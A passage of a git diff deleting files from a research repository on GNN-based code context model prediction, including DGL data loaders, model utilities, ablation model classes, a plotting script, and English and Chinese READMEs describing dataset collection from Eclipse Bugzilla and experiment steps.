torch.tensor(edges['relation'].tolist(), dtype=torch.int64) - # 是否 similarity 过滤 - if under_sampling_threshold == 0: - # g = similarity_sample(g) - # g = cluster_sample(g) - g = cluster_sample(g) - # 是否 undersample - if under_sampling_threshold > 0: - g = random_under_sampling(g, mode, under_sampling_threshold) - # 添加自环边 - if self_loop: - g = dgl.add_self_loop(g, edge_feat_names=['relation'], fill_data=4) - # 是否使用 similarity 过滤 - graphs.append(g) - # print(g, g.nodes(), g.edges()) - return graphs - - -# 构建数据集和 DataLoader -class PreloadedGraphDataset(torch.utils.data.Dataset): - def __init__(self, gs: list[DGLGraph], device): - self.graphs = [graph.to(device) for graph in gs] - - def __len__(self): - return len(self.graphs) - - def __getitem__(self, idx): - gra = self.graphs[idx] - features = gra.ndata['embedding'] - labels = gra.ndata['label'] - edge_types = gra.edata['relation'] - # seeds = gra.ndata['seed'] - kinds = gra.ndata['kind'] if 'kind' in gra.ndata.keys() else gra.ndata['label'] - return gra, features, labels, edge_types, kinds - - -def collate(batch): - """ - 合并一个样本列表,形成一个小批量的张量。当从map样式数据集批量加载时使用。 - - :param batch: batch图集合 - :return: 合并后的大图,以及特征集合 - """ - graphs, features, labels, edge_types, kinds = map(list, zip(*batch)) - # 使用 dgl.batch 进行批处理,确保正确处理 DGLGraph 对象,实际就是将多个图合并为一个大图 - batched_graph = dgl.batch(graphs) - # 将 features 和 edge_labels 转换为张量 - features = torch.cat(features, dim=0) - labels = torch.cat(labels, dim=0) - # seeds = torch.cat(seeds, dim=0) - kinds = torch.cat(kinds, dim=0) - edge_types = torch.cat(edge_types, dim=0) - return batched_graph, features, labels, edge_types, kinds - - -def load_prediction_data(dataset_path, mode: LOAD_MODE, embedding_type: str, batch_size: int, step: int, - under_sampling_threshold=15, - self_loop=True, load_lazy=True) -> torch.utils.data.dataloader.DataLoader: - """ - 根据模式加载数据集,可以选择懒加载 - - :param dataset_path: 数据集保存路径 - :param step: 步长 - :param embedding_type: type of embedding - :param mode: Literal['train', 'valid', 'test'] - :param batch_size: batch大小 - :param under_sampling_threshold: 欠采样阈值,最终负/正样本比例 - :param self_loop: 是否需要添加自环 - :param load_lazy: 是否加载之前的数据 - :return: 相应数据集的DataLoader - """ - old_data_path = join(dataset_path, f'{embedding_type}_model_dataset_{str(step)}', f'{mode}', - f'old_data_{mode}_{under_sampling_threshold}.pkl') - if load_lazy and os.path.exists(old_data_path): - print('lazyload...') - preloaded_dataset = pd.read_pickle(old_data_path) - else: - # 从文件加载多个图数据 - graphs = [] - for node_file, edge_file in get_graph_files(dataset_path, mode, embedding_type, step): - graphs = graphs + load_graph_data(node_file, edge_file, mode, under_sampling_threshold, self_loop) - # 创建数据集和 DataLoader - device = torch.device("cuda" if torch.cuda.is_available() else "cpu") - preloaded_dataset = PreloadedGraphDataset(graphs, device) - pd.to_pickle(preloaded_dataset, old_data_path) - print(f'total graph: {len(preloaded_dataset)}') - shuffle = True if mode == 'train' else False - data_loader = DataLoader(preloaded_dataset, batch_size=batch_size, shuffle=shuffle, collate_fn=collate) - return data_loader diff --git a/GNN_Node_Classification/utils_nc/util.py b/GNN_Node_Classification/utils_nc/util.py deleted file mode 100644 index e735d0a..0000000 --- a/GNN_Node_Classification/utils_nc/util.py +++ /dev/null @@ -1,156 +0,0 @@ -import os -from os.path import join -from typing import Literal - -import pandas as pd -import torch - -STEP = Literal[1, 2, 3] - - -def save_result(result, root_path, step: STEP, save_name): - """ - 保存模型在验证集上的训练结果 - - :param result: 训练数据结果 - :param root_path: 需要保存的根目录 - :param step: 模式,也就是步长,1,2,3 - :param save_name: 保存结果的名字 - :return: none - """ - model_path = join(root_path, 'model_' + str(step)) - if not os.path.exists(model_path): - os.makedirs(model_path) - result_path = join(model_path, f'{save_name}.tsv') - df = pd.DataFrame(result, - columns=['epoch', 'Train Loss', 'Train Accuracy', 'Loss', 'Accuracy', 'Precision', 'Recall', 'F1', - 'AUROC']) - df.to_csv(result_path, index=False) - # print(f'result saved to {result_path}') - - -def save_model(model, root_path, step: STEP, save_name): - """ - 保存训练好的模型 - - :param model: 模型 - :param root_path: 需要保存的根目录 - :param step: 模式,也就是步长,1,2,3 - :param save_name: 模型名字 - :return: none - """ - model_path = join(root_path, 'model_' + str(step)) - if not os.path.exists(model_path): - os.makedirs(model_path) - model_path = join(model_path, f'{save_name}.pth') - torch.save(model.state_dict(), model_path) - # print(f'Model saved to {model_path}') - - -def load_model(model, root_path, step: STEP, load_name): - """ - 加载训练好的模型 \n - loaded_model = GATModel() \n - loaded_model = load_model(loaded_model, model_path) \n - loaded_model = loaded_model.to(device) - - :param model: 模型 - :param root_path: 需要保存的根目录 - :param step: 模式,也就是步长,1,2,3 - :param load_name: 模型名字 - :return: none - """ - model_path = join(root_path, 'model_' + str(step)) - model_path = join(model_path, f'{load_name}_best.pth') - if os.path.exists(model_path): - model.load_state_dict(torch.load(model_path)) - print(f'Model loaded from {model_path}') - else: - print('no model loaded') - return model - - -def load_encoder(model, root_path, step: STEP, load_name): - model_path = join(root_path, 'model_' + str(step)) - model_path = join(model_path, f'{load_name}_best_encoder.pth') - if os.path.exists(model_path): - model.load_state_dict(torch.load(model_path)) - print(f'Model loaded from {model_path}') - else: - print('no model loaded') - return model - -def load_classifier(model, root_path, step: STEP, load_name): - model_path = join(root_path, 'model_' + str(step)) - model_path = join(model_path, f'{load_name}_best_classifier.pth') - if os.path.exists(model_path): - model.load_state_dict(torch.load(model_path)) - print(f'Model loaded from {model_path}') - else: - print('no model loaded') - return model - - -def threshold_tensor(input_tensor, threshold=0.5): - """ - 将小数张量进行阈值处理,大于阈值的元素变成 1,小于等于阈值的元素变成 0。 - - :param input_tensor: 输入的小数张量 - :type input_tensor: torch.Tensor - :param threshold: 阈值,默认为0.5 - :type threshold: float - :return: 处理后的二值张量 - :rtype: torch.Tensor - """ - binary_tensor = torch.where(input_tensor > threshold, 1.0, 0.0) - return binary_tensor - - -def count_equal_elements(tensor1, tensor2): - """ - 计算两个张量中相等元素的数量。 - - :param tensor1: 第一个张量 - :type tensor1: torch.Tensor - :param tensor2: 第二个张量 - :type tensor2: torch.Tensor - :return: 相等元素的数量 - :rtype: int - """ - equal_elements = torch.eq(tensor1, tensor2) - count = torch.sum(equal_elements).item() - return count - - -def count_elements_equal_to_value(tensor1, tensor2, value): - """ - 计算两个张量中等于特定值的相等元素的数量。 - - :param tensor1: 第一个张量 - :type tensor1: torch.Tensor - :param tensor2: 第二个张量 - :type tensor2: torch.Tensor - :param value: 特定的值 - :type value: float - :return: 等于特定值的相等元素的数量 - :rtype: int - """ - equal_to_value = (tensor1 == value) & (tensor2 == value) - count = torch.sum(equal_to_value).item() - return count - - -def count_values_equal_to(tensor, value): - """ - 统计张量中等于特定值的元素的数量。 - - :param tensor: 输入的张量 - :type tensor: torch.Tensor - :param value: 特定的值 - :type value: float - :return: 等于特定值的元素的数量 - :rtype: int - """ - equal_to_value = torch.eq(tensor, value) - count = torch.sum(equal_to_value).item() - return count diff --git a/GNN_Node_Classification/utils_nc/wo_attention_prediction_model.py b/GNN_Node_Classification/utils_nc/wo_attention_prediction_model.py deleted file mode 100644 index a74e86b..0000000 --- a/GNN_Node_Classification/utils_nc/wo_attention_prediction_model.py +++ /dev/null @@ -1,80 +0,0 @@ -import torch -import torch.nn as nn -from dgl.nn.pytorch import GATConv, GraphConv, SAGEConv, GatedGraphConv, RelGraphConv - - -class WoAttentionPredictionModel(nn.Module): - """ - Concatenate prediction model - """ - - def __init__(self, model_type, number_layers, in_feats, hidden_size, dropout, num_heads, num_edge_types): - """ - :param model_type: model type [GCN, GAT, GraphSAGE, RGCN, GGNN] - :param number_layers: graph network neural layers - :param in_feats: number of input - :param hidden_size: hidden size - :param dropout: dropout rate - :param num_heads: number of attention heads - :param num_edge_types: number of edge - """ - super(WoAttentionPredictionModel, self).__init__() - print("wo_attention prediction model") - self.model_type = model_type - self.number_layers = number_layers - # 不能设置 allow_zero_in_degree,这是需要自行处理,否则没有入度的节点特征将全部变为 0,只能加入自环边 - self.merge = torch.nn.Linear(in_feats, hidden_size) - self.gnn_layers = nn.ModuleList() - self.output = [] - self.mlp = nn.ModuleList() - if model_type == 'GCN': - for i in range(self.number_layers): - self.gnn_layers.append(GraphConv(hidden_size, hidden_size)) - elif model_type == 'GAT': - self.gnn_layers.append(GATConv(hidden_size, hidden_size, num_heads=num_heads)) - for i in range(self.number_layers - 2): - self.gnn_layers.append(GATConv(hidden_size * num_heads, hidden_size, num_heads=num_heads)) - self.gnn_layers.append(GATConv(hidden_size * num_heads, hidden_size, num_heads=1)) - elif model_type == 'GraphSAGE': - for i in range(self.number_layers): - self.gnn_layers.append(SAGEConv(hidden_size, hidden_size, aggregator_type='mean')) - elif model_type == 'RGCN': - for i in range(self.number_layers): - self.gnn_layers.append(RelGraphConv(hidden_size, hidden_size, num_edge_types, regularizer='basis', - num_bases=num_edge_types, self_loop=False)) - elif model_type == 'GGNN': - for i in range(self.number_layers): - self.gnn_layers.append(GatedGraphConv(hidden_size, hidden_size, n_steps=2, n_etypes=num_edge_types)) - self.dropout = torch.nn.Dropout(p=dropout) - for i in range(self.number_layers - 1): - n = self.number_layers - i - self.mlp.append(torch.nn.Linear(hidden_size * n, hidden_size * (n - 1))) - self.mlp.append(torch.nn.Linear(hidden_size, 1)) - - def forward(self, g, x, edge_types): - self.output = [] - x = self.merge(x) - if self.model_type == 'GGNN' or self.model_type == 'RGCN': - for i in range(self.number_layers): - x = torch.relu(self.gnn_layers[i](g, x, edge_types)) - if not i == self.number_layers - 1: - self.output[i] = x.clone() - x = self.dropout(x) - elif self.model_type == 'GAT': - for i in range(self.number_layers): - x = torch.relu(self.gnn_layers[i](g, x)).mean(dim=1) - if not i == self.number_layers - 1: - self.output.append(x.clone()) - x = self.dropout(x) - else: - for i in range(self.number_layers): - x = torch.relu(self.gnn_layers[i](g, x)) - if i != self.number_layers - 1: - self.output.append(x.clone()) - x = self.dropout(x) - self.output.append(x) - x = torch.cat(self.output, dim=1) - for i in range(self.number_layers - 1): - x = torch.relu(self.mlp[i](x)) - x = self.mlp[self.number_layers - 1](x).squeeze(1) - return torch.sigmoid(x) diff --git a/GNN_Node_Classification/utils_nc/wo_concat_prediction_model.py b/GNN_Node_Classification/utils_nc/wo_concat_prediction_model.py deleted file mode 100644 index d73cce2..0000000 --- a/GNN_Node_Classification/utils_nc/wo_concat_prediction_model.py +++ /dev/null @@ -1,162 +0,0 @@ -import dgl -import numpy as np -import torch -import torch.nn as nn -import torch.nn.functional as F -import dgl.function as fn -from dgl.nn.pytorch import GATConv, GraphConv, SAGEConv, GatedGraphConv, RelGraphConv - - -def src_mul_edge(src_field, edge_field, out_field): - def func(edges): - return {out_field: edges.src[src_field] * edges.data[edge_field]} - - return func - - -def node_sum(in_field, out_field): - def func(nodes): - return {out_field: torch.sum(nodes.mailbox[in_field], dim=1)} - - return func - - -def copy_edge(src_field, dst_field): - def func(edges): - return {dst_field: edges.data[src_field]} - - return func - - -def edge_sum(in_field, out_field): - def func(nodes): - return {out_field: torch.sum(nodes.mailbox[in_field], dim=1)} - - return func - - -def src_dot_dst(src_field, dst_field, out_field): - def func(edges): - return {out_field: (edges.src[src_field] * edges.dst[dst_field]).sum(-1, keepdim=True)} - - return func - - -def scaled_exp(field, scale_constant): - def func(edges): - # clamp for softmax numerical stability - return {field: torch.exp((edges.data[field] / scale_constant).clamp(-10, 10))} - # return {field: torch.exp((edges.data[field] / scale_constant))} - - return func - - -class MultiHeadAttentionLayer(nn.Module): - def __init__(self, model_type, hidden_size, dropout, attention_heads, num_heads, num_edge_types): - super().__init__() - self.model_type = model_type - self.attention_heads = attention_heads - self.hidden_size = hidden_size - if model_type == 'GCN': - self.feature_Q = GraphConv(in_feats=hidden_size, out_feats=hidden_size) - self.feature_K = GraphConv(in_feats=hidden_size, out_feats=hidden_size) - self.feature_V = GraphConv(in_feats=hidden_size, out_feats=hidden_size) - elif model_type == 'GAT': - self.feature_Q = GATConv(hidden_size, hidden_size, num_heads=num_heads) - self.feature_K = GATConv(hidden_size, hidden_size, num_heads=num_heads) - self.feature_V = GATConv(hidden_size, hidden_size, num_heads=num_heads) - elif model_type == 'GraphSAGE': - self.feature_Q = SAGEConv(hidden_size, hidden_size, aggregator_type='mean') - self.feature_K = SAGEConv(hidden_size, hidden_size, aggregator_type='mean') - self.feature_V = SAGEConv(hidden_size, hidden_size, aggregator_type='mean') - elif model_type == 'RGCN': - self.feature_Q = RelGraphConv(hidden_size, hidden_size, num_edge_types, regularizer='basis', - num_bases=num_edge_types, self_loop=False) - self.feature_K = RelGraphConv(hidden_size, hidden_size, num_edge_types, regularizer='basis', - num_bases=num_edge_types, self_loop=False) - self.feature_V = RelGraphConv(hidden_size, hidden_size, num_edge_types, regularizer='basis', - num_bases=num_edge_types, self_loop=False) - elif model_type == 'GGNN': - self.feature_Q = GatedGraphConv(hidden_size, hidden_size, n_steps=2, n_etypes=num_edge_types) - self.feature_K = GatedGraphConv(hidden_size, hidden_size, n_steps=2, n_etypes=num_edge_types) - self.feature_V = GatedGraphConv(hidden_size, hidden_size, n_steps=2, n_etypes=num_edge_types) - self.dropout = torch.nn.Dropout(p=dropout) - - def propagate_attention(self, g): - # Compute attention score - g.apply_edges(src_dot_dst('K_h', 'Q_h', 'score')) # , edges) - g.apply_edges(scaled_exp('score', np.sqrt(self.hidden_size // self.attention_heads))) - - # Send weighted values to target nodes - eids = g.edges() - g.send_and_recv(eids, fn.u_mul_e('V_h', 'score', 'V_h'), fn.sum('V_h', 'wV')) - g.send_and_recv(eids, fn.copy_e('score', 'score'), fn.sum('score', 'z')) - - def forward(self, g, h, e): - with g.local_scope(): - if self.model_type == 'GCN' or self.model_type == 'GraphSAGE': - Q_h = F.relu(self.feature_Q(g, self.dropout(h))) - K_h = F.relu(self.feature_K(g, self.dropout(h))) - V_h = F.relu(self.feature_V(g, self.dropout(h))) - elif self.model_type == 'GAT': - Q_h = F.relu(self.feature_Q(g, self.dropout(h))).mean(dim=1) - K_h = F.relu(self.feature_Q(g, self.dropout(h))).mean(dim=1) - V_h = F.relu(self.feature_Q(g, self.dropout(h))).mean(dim=1) - elif self.model_type == 'RGCN' or self.model_type == 'GGNN': - Q_h = F.relu(self.feature_Q(g, self.dropout(h), e)) - K_h = F.relu(self.feature_K(g, self.dropout(h), e)) - V_h = F.relu(self.feature_V(g, self.dropout(h), e)) - # Reshaping into [num_nodes, num_heads, feat_dim] to - # get projections for multi-head attention - g.ndata['Q_h'] = Q_h.view(-1, self.attention_heads, self.hidden_size // self.attention_heads) - g.ndata['K_h'] = K_h.view(-1, self.attention_heads, self.hidden_size // self.attention_heads) - g.ndata['V_h'] = V_h.view(-1, self.attention_heads, self.hidden_size // self.attention_heads) - - self.propagate_attention(g) - - # head_out = g.ndata['wV'] / g.ndata['z'] 避免出现 0 的情况,但实际上不可能,因为都加了自旋边 - head_out = g.ndata['wV'] / ( - g.ndata['z'] + torch.full_like(g.ndata['z'], 1e-6)) # adding eps to all values here - return head_out - - -class WoConcatPredictionModel(nn.Module): - """ - Attention prediction model - """ - - def __init__(self, model_type, number_layers, in_feats, hidden_size, dropout=0.1, attention_heads=10, num_heads=8, - num_edge_types=6): - """ - :param model_type: model type [GCN, GAT, GraphSAGE, RGCN, GGNN] - :param number_layers: graph network neural layers - :param in_feats: number of input - :param hidden_size: hidden size - :param dropout: dropout rate, defaults to 0.1 - :param attention_heads: number of graph attention heads, defaults to 10 - :param num_heads: number of gat attention heads, defaults to 8 - :param num_edge_types: number of edge, defaults to 6 - """ - super(WoConcatPredictionModel, self).__init__() - print("wo_concat prediction model") - self.number_layers = number_layers - self.hidden_size = hidden_size - # 不能设置 allow_zero_in_degree,这是需要自行处理,否则没有入度的节点特征将全部变为 0,只能加入自环边 - self.merge = torch.nn.Linear(in_feats, hidden_size) - self.gnn_attention_layers = nn.ModuleList() - self.mlp = nn.ModuleList() - for i in range(self.number_layers): - self.gnn_attention_layers.append( - MultiHeadAttentionLayer(model_type, hidden_size, dropout, attention_heads, num_heads, num_edge_types)) - for i in range(self.number_layers - 1): - self.mlp.append(torch.nn.Linear(hidden_size // pow(2, i), hidden_size // pow(2, i + 1))) - self.mlp.append(torch.nn.Linear(hidden_size // pow(2, self.number_layers - 1), 1)) - - def forward(self, g, x, edge_types): - x = F.relu(self.merge(x)) - for i in range(self.number_layers): - x = self.gnn_attention_layers[i](g, x, edge_types).view(-1, self.hidden_size) - for i in range(self.number_layers - 1): - x = torch.relu(self.mlp[i](x)) - x = self.mlp[self.number_layers - 1](x).squeeze(1) - return torch.sigmoid(x) diff --git a/GNN_Node_Classification/view.py b/GNN_Node_Classification/view.py deleted file mode 100644 index 456c44e..0000000 --- a/GNN_Node_Classification/view.py +++ /dev/null @@ -1,22 +0,0 @@ -from os.path import join - -import pandas as pd -import matplotlib.pyplot as plt - - -def main_func(result_path, step, load_name): - df = pd.read_csv(join(result_path, f'model_{str(step)}', f'{load_name}.tsv')) - plt.plot(df['epoch'].tolist(), df['Train Loss'].tolist(), '.--', label='Train Loss') - plt.plot(df['epoch'].tolist(), df['Train Accuracy'].tolist(), '.--', label='Train Accuracy') - plt.plot(df['epoch'].tolist(), df['Loss'].tolist(), '.--', label='Loss') - plt.plot(df['epoch'].tolist(), df['Accuracy'].tolist(), '.--', label='Accuracy') - plt.plot(df['epoch'].tolist(), df['Precision'].tolist(), '.--', label='Precision') - plt.plot(df['epoch'].tolist(), df['Recall'].tolist(), '.--', label='Recall') - plt.plot(df['epoch'].tolist(), df['F1'].tolist(), '.--', label='F1') - plt.plot(df['epoch'].tolist(), df['AUROC'].tolist(), '.--', label='AUROC') - - plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0) # 显示上面的label - plt.xlabel('epoch') # x_label - plt.tight_layout() - plt.title(load_name) - plt.show() diff --git a/README.md b/README.md deleted file mode 100644 index 5ac7d61..0000000 --- a/README.md +++ /dev/null @@ -1,217 +0,0 @@ -# GNN based Code Context Model Prediction - -This repository provides the code for xxx. -The environment can be built following the commands in the Singularity file. -To start, clone the repository and navigate to the root directory. - - - -## Directory Structure - -``` -code context model prediction -│ -├── ( dataset collection ) -│ ├── data_count -│ ├── data_extraction -│ ├── params_validation -│ ├── xmlparser -│ ├── model_expansiondataset_split_util -│ ├── dataset_replication -│ └── dataset_split_util -├── ( our prediction approach ) -│ ├── ( GNN model ) -│ │ └── GNN_Node_Classification -│ └── ( code embedding approach ) -│ ├── astnn_embedding -│ ├── codebert_embedding -│ ├── glove_embedding -│ └── my_embedding -└── (RQ and baseline) - ├── RQ_1 - ├── RQ_2 - ├── RQ_4 - └── baseline -``` - - - -Our experiments were all conducted using the **PyCharm** development tool. - - - -## Dataset - -### Data Collection - -Run the `main.py` file under the `data_extraction/` directory to fetch bug records from the Eclipse Bugzilla data website. This program will create a `bug_dataset` directory in the project's root directory and download the bugs into this directory. Our program includes an automatic retry mechanism for failures, but some bugs may still fail to download. If this occurs, you can set `index = xxx` in the code to skip processing the bug at that index, as indicated by the console output. After the data collection is complete, you will see a directory structure similar to the following example: - -``` -bug_dataset -└── mylyn_zip - ├── Mylyn - │ └── 102663 - │ └── 102263_42671.zip - ├── ECF - ├── PDE - └── Platfrom -``` - - - -### Data Cleaning - -> **Decompress** - -Run the `01_zip_out.py` file under the `data_count/` directory to decompress the zip files in the directory structure mentioned above. For example, `102263_42671.zip` will be decompressed to `102263_42671_zip`. - -> **Split working periods** - -Run the `2_periods_break.py` file under the `params_validation/working_periods/` directory. This script reads each `bug` in the `bug_dataset` directory and splits the working periods according to different time intervals. Each working period will generate an XML file, resulting in a directory structure similar to the following example within the `params_validation/working_periods` directory: - -```bug_dataset -working_periods -└── periods - ├── 00 - │ ├── ... - │ └── Mylyn - │ └── 1.xml - ├── ... - └── 09 -``` - -> **Filter working periods** - -Run the `4_periods_filter.py` file under the `params_validation/working_periods/` directory to filter the working periods split in the previous step. You will see the following output upon execution. - -``` -working_periods -└── code_elements - ├── 00 - │ ├── ... - │ └── Mylyn - │ └── 1.xml - ├── ... - └── 09 -``` - -> **Extract code elements** - -Run the `1_extract_code_elements_and_timestamp.py` file under the `params_validation/repo_vs_commit_order/` directory to extract code elements and timestamps from the filtered working periods. You will see the following output upon execution: - -``` -repo_vs_commit_order -└── code_timestamp - └── 05 - ├── ... - └── Mylyn - └── 1.xml -``` - -> **Calculate IQR and filter outliers** - -Run the `2_quartile_IQR.py` file under the `params_validation/repo_vs_commit_order/` directory to calculate the values of `Q1 - 3 * IQR` and `Q3 + 3 * IQR` for each project's output result. Update these values in the `3_IQR_filter.py` file (modify the parameters passed to the `main_func` method call) and then execute the `3_IQR_filter.py` file. You will see the following output upon execution: - -``` -repo_vs_commit_order -└── IQR_code_timestamp - └── 05 - ├── ... - └── Mylyn - └── 1.xml -``` - -> **Clone GitHub repository** - -According to the instructions in `params_validation/git_repos.txt`, clone the corresponding repositories to your local machine. After cloning, the directory structure should resemble the following: - -``` -params_validation -└── git_repo_code - ├── mylyn - │ ├── org.eclipse.mylyn - │ ├── org.eclipse.mylyn.builds - │ ├── org.eclipse.mylyn.commons - │ ├── org.eclipse.mylyn.context - │ ├── org.eclipse.mylyn.context.mft - │ ├── org.eclipse.mylyn.docs - │ ├── org.eclipse.mylyn.incubator - │ ├── org.eclipse.mylyn.reviews - │ ├── org.eclipse.mylyn.tasks - │ └── org.eclipse.mylyn.versions - ├── platform - │ ├── eclipse.platform - │ ├── eclipse.platform.swt - │ ├── eclipse.platform.ui - │ └── eclipse.platform.releng.buildtools - ├── ecf - │ └── ecf - └── pde - └── eclipse.pde -``` - -> **Construct code context model** - -Run the `4_extract_model_repo_first.py` file under the `params_validation/repo_vs_commit_order/` directory. After execution, you will find the generated `code context model` dataset files in the `git_repo_code` directory. - -``` -params_validation -└── git_repo_code - ├── my_mylyn - │ └── 42 - │ ├── doxygen (Doxygen Parsing File) - │ │ ├── org.eclipse.mylyn.tasks.tests - │ │ └── org.eclipse.mylyn.tasks.ui - │ ├── org.eclipse.mylyn.tasks.tests (Source File) - │ ├── org.eclipse.mylyn.tasks.ui (Source File) - │ └── code_context_model.xml (Code Context Model File) - ├── my_platform - ├── my_ecf - └── my_pde -``` - -We have organized the source code files and the code context model files at the following address. - - - -### Dataset Details - -Code Context Model Statistics - -screenshot2024-05-23 19.35.57 - -Code Context Model Node Type Statistics - -screenshot2024-05-23 21.03.30 - -Code Context Model Edge Type Statistics - -screenshot2024-05-23 21.05.46 - - - -## Research Questions - -### Experimental Dataset Preparation - -> **Expand code context model** - -Run the `_01_expand_model.py` file under the `model_expansion/` directory to generate the expanded datasets. This script will read each code context model obtained from the previous data processing steps and expand them (1-step, 2-step, and 3-step). It will output three XML files (`1_step_expanded_model.xml`, `2_step_expanded_model.xml`, and `3_step_expanded_model.xml`). - -> **Embed code elements** - -ASTNN: Run the `astnn_entry.py` file under the `astnn_embedding/` directory. This will generate the corresponding node encoding `pkl` files in each code context model's directory. - -CodeBERT: Run the `embedding.py` file under the `codebert_embedding/` directory. - -### RQ1: Compare to baseline - -> **Baseline** - -Run the `assign_stereotype.py` file under the `rq1/baseline/` directory to assign stereotypes. Then, run the `origin_pattern_match.py` file to perform subgraph matching and obtain the results. - -> **Our approach** - -Run the `our_astnn_mylyn.py` file under the `rq1/our/` directory to construct and train the GNN model. This script will also test the training results on the test set. - -Both scripts will output their results to the console. diff --git a/REDEME_CN.assets/code_context_model_edge.png b/REDEME_CN.assets/code_context_model_edge.png deleted file mode 100644 index 7c0ec0e..0000000 Binary files a/REDEME_CN.assets/code_context_model_edge.png and /dev/null differ diff --git a/REDEME_CN.assets/code_context_model_node.png b/REDEME_CN.assets/code_context_model_node.png deleted file mode 100644 index b38db09..0000000 Binary files a/REDEME_CN.assets/code_context_model_node.png and /dev/null differ diff --git a/REDEME_CN.assets/statistics_dataset_1.png b/REDEME_CN.assets/statistics_dataset_1.png deleted file mode 100644 index 524bc12..0000000 Binary files a/REDEME_CN.assets/statistics_dataset_1.png and /dev/null differ diff --git a/REDEME_CN.md b/REDEME_CN.md deleted file mode 100644 index d976321..0000000 --- a/REDEME_CN.md +++ /dev/null @@ -1,222 +0,0 @@ -# 基于图神经网络的代码上下文模型预测 - -This repository provides the code for xxx. -The environment can be built following the commands in the Singularity file. -To start, clone the repository and navigate to the root directory. - - - -## 目录结构 - -``` -code context model prediction -│ -├── ( dataset collection ) -│ ├── data_count -│ ├── data_extraction -│ ├── params_validation -│ ├── xmlparser -│ ├── model_expansiondataset_split_util -│ ├── dataset_replication -│ └── dataset_split_util -├── ( our prediction approach ) -│ ├── ( GNN model ) -│ │ └── GNN_Node_Classification -│ └── ( code embedding approach ) -│ ├── astnn_embedding -│ ├── codebert_embedding -│ ├── glove_embedding -│ └── my_embedding -└── (RQ and baseline) - ├── RQ_1 - ├── RQ_2 - ├── RQ_4 - └── baseline -``` - - - -我们的实验均在 Pycharm 开发者工具中进行。 - - - -## 数据 - -### 数据采集 - -1.1 说明数据采集的步骤,相关的代码文件,运行方法,输入/输出文件夹 - -运行 `data_extraction/` 下的 `main.py` 文件, 从 Eclipse bugzilla_data 网站拉取 bug 记录,该程序会在项目的根目录下创建`bug_dataset`目录,并将 bug 下载到该目录下。我们的程序设置了失败自动重试机制,但仍然可能遇到某些 bug 无法下载的情况,如果出现这种情况,可以根据控制台输出,设置代码中的`index = xxx`,跳过该序号的 bug 的处理。数据收集完后,你将看到如下示例的目录结构: - -``` -bug_dataset -└── mylyn_zip - ├── Mylyn - │ └── 102663 - │ └── 102263_42671.zip - ├── ECF - ├── PDE - └── Platfrom -``` - -### 数据清洗 - -1.2 说明数据清洗的步骤,相关的代码文件,运行方法,输入/输出文件夹 - -> 解压缩 - -运行`data_count/` 下的 `01_zip_out.py`文件,会将上述目录结构中的 zip 文件解压缩,例如:`102263_42671.zip` --> `102263_42671_zip`. - -> 拆分working periods - -运行`params_validation/working_periods/` 下的 `2_periods_break.py`文件,读取上述 `bug_dataset` 中的每一个 `bug`,按照不同的时间间隔进行 working periods 的划分,每个 working periods 将得到一个 xml 文件,将会在 `params_validation/working_periods` 目录生成如下示例的目录结构: - -```bug_dataset -working_periods -└── periods - ├── 00 - │ ├── ... - │ └── Mylyn - │ └── 1.xml - ├── ... - └── 09 -``` - -> 过滤 working periods - -运行 `params_validation/working_periods/` 下的 `4_periods_filter.py` 文件,对上一步拆分的 working periods 进行过滤,将看到如下的运行结果。 - -``` -working_periods -└── code_elements - ├── 00 - │ ├── ... - │ └── Mylyn - │ └── 1.xml - ├── ... - └── 09 -``` - -> 提取 `code elements` 和 `timestamp` - -运行 `params_validation/repo_vs_commit_order/` 下的`1_extract_code_elements_and_timestamp.py` 文件,对上一步过滤后的 working periods 进行 code elements 的提取,将看到如下运行结果: - -``` -repo_vs_commit_order -└── code_timestamp - └── 05 - ├── ... - └── Mylyn - └── 1.xml -``` - -> 计算 IQR,进一步过滤 - -运行 `params_validation/repo_vs_commit_order/` 下的 `2_quartile_IQR.py`,将各个项目输出结果的 `Q1 - 3 * IQR 和 -Q3 + 3 * IQR]`值,更新到 `3_IQR_filter.py` 文件中(修改 `main_func` 方法调用时的参数),并运行该文件,将看到如下运行结果: - -``` -repo_vs_commit_order -└── IQR_code_timestamp - └── 05 - ├── ... - └── Mylyn - └── 1.xml -``` - -> 拉取 `GitHub repository` - -根据 `params_validation/git_repos.txt` 中的提示,克隆对应的仓库到本地,克隆结束应当形成如下目录结构: - -``` -params_validation -└── git_repo_code - ├── mylyn - │ ├── org.eclipse.mylyn - │ ├── org.eclipse.mylyn.builds - │ ├── org.eclipse.mylyn.commons - │ ├── org.eclipse.mylyn.context - │ ├── org.eclipse.mylyn.context.mft - │ ├── org.eclipse.mylyn.docs - │ ├── org.eclipse.mylyn.incubator - │ ├── org.eclipse.mylyn.reviews - │ ├── org.eclipse.mylyn.tasks - │ └── org.eclipse.mylyn.versions - ├── platform - │ ├── eclipse.platform - │ ├── eclipse.platform.swt - │ ├── eclipse.platform.ui - │ └── eclipse.platform.releng.buildtools - ├── ecf - │ └── ecf - └── pde - └── eclipse.pde -``` - -> 构建 `code context model` - -运行`params_validation/repo_vs_commit_order/` 下的 `4_extract_model_repo_first.py` 文件,将会在`git_repo_code`下看到生层的 `code context model` 数据集文件: - -``` -params_validation -└── git_repo_code - ├── my_mylyn - │ └── 42 - │ ├── doxygen (Doxygen Parsing File) - │ │ ├── org.eclipse.mylyn.tasks.tests - │ │ └── org.eclipse.mylyn.tasks.ui - │ ├── org.eclipse.mylyn.tasks.tests (Source File) - │ ├── org.eclipse.mylyn.tasks.ui (Source File) - │ └── code_context_model.xml (Code Context Model File) - ├── my_platform - ├── my_ecf - └── my_pde -``` - -我们已经将源代码文件和 `code context model` 文件整理到了如下地址。 - - - -### 数据信息 - -代码上下文模型规模数据 - -screenshot2024-05-23 19.35.57 - -代码上下文模型节点类型数据 - -screenshot2024-05-23 21.03.30 - -代码上下文模型边类型数据 - -screenshot2024-05-23 21.05.46 - - - -## RQ - -#### 实验数据集准备 - -> 扩展code context model - -运行`model_expansion/` 下的 `_01_expand_model.py` 文件,得到扩展数据集,该文件将会读取每个前面数据处理部分得到的每个 code context model 进行扩展(1-step, 2-step 和 3-step),并输出三个 xml 文件(`1_step_enpanded_model.xml`, `2_step_expanded_model.xml` 和 `3_step_expanded_model.xml` ) - -> 节点编码 - -ASTNN:运行`astnn_embedding/` 下的 `astnn_entry.py` 文件,将会为在每个 code context model 的目录下,生成相应的节点编码`pkl`文件。 - -CodeBERT:运行`codebert_embedding/` 下的 `embedding.py` 文件。 - -#### RQ1 - 